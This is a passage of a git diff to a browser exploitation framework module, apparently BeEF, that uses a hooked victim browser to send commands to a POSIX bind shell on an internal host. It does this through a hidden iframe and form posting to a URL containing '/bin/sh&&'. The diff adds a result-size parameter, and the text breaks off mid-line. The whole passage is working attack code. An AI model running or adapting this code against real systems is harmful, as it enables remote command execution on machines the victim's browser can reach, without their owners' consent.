diff --git a/modules/ipec/inter_protocol_posix_bindshell/command.js b/modules/ipec/inter_protocol_posix_bindshell/command.js index 318ac6b0d..0babf4451 100644 --- a/modules/ipec/inter_protocol_posix_bindshell/command.js +++ b/modules/ipec/inter_protocol_posix_bindshell/command.js @@ -20,6 +20,7 @@ beef.execute(function() { var cmd = '<%= @cmd %>'; var command_timeout = "<%= @command_timeout %>"; var internal_counter = 0; + var result_size = "<%= @result_size %>"; // create iframe var iframe = document.createElement("iframe"); @@ -28,7 +29,7 @@ beef.execute(function() { document.body.appendChild(iframe); // send a request - function send_cmds(ip, port, cmd) { + function send_cmds(ip, port, cmd, size) { var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh&&"; var parent = window.location.href; @@ -45,16 +46,22 @@ beef.execute(function() { myExt = document.createElement("INPUT"); myExt.setAttribute("id",<%= @command_id %>); myExt.setAttribute("name",<%= @command_id %>); - myExt.setAttribute("value","echo \"